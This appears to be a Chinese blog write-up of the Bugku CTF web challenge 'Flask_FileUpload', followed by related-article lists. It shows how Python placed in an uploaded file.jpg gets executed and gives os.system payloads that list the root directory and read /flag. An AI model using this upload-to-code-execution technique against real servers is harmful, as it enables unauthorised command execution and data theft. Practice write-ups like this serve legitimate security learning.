技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
2401_86853478
2 分钟前
【网络安全
网络·python
陈随易
1 小时前
Rolldown 把插件改动回传提速 26 倍
前端·后端·程序员
笃行350
8 小时前
集中式与分布式,KingbaseES 的四种形态共用一套内核
前端
陈随易
10 小时前
Vue 编译器换掉 source map,快了三四成
前端·后端·程序员
ZhengEnCi
11 小时前
12 种高级 UI 交互效果及对应 AI 提示词:从按压回弹到底部抽屉的物理感教学
前端·css·交互设计
❁满城风絮*
11 小时前
Claude Code 学习总结
python·agent·claude
维克兜率天
13 小时前
【维克】复合型CTA:趋势+套利的双轮驱动
python·学习方法
伞伞悦读
13 小时前
【第76期】两张3行表左连接变5行:主键、validate与未匹配排查完整教程
人工智能·python
IT_陈寒
14 小时前
Redis大key删除为什么会导致服务卡顿?我的线上事故复盘
前端·人工智能·后端
用户835629078051
14 小时前
使用 Python 在 Excel 中添加和自定义迷你图
后端·python
热门推荐
01如何新建文件夹? 电脑新建文件夹的4种方法02国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)03历年考研数学一、数学二、数学三真题试卷及答案PDF04几个好用的ip纯净度检测网站05GitHub 镜像站点06苹果iPA游戏软件资源下载网站07昇腾910B系列芯片完全指南:四款型号对比、服务器选型与大模型部署实战08蜘蛛磁力 搜索引擎大全,如何使用蜘蛛磁力查找磁力链接09微信历史版本含下载地址( Windows PC | 安卓 | MAC )及设置微信不更新10Dify:一站式AI应用开发平台全解析与Windows部署指南